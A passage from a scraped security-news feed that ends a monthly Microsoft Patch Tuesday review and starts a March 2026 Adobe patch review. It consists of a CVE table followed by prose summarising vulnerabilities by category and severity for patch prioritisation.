  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a 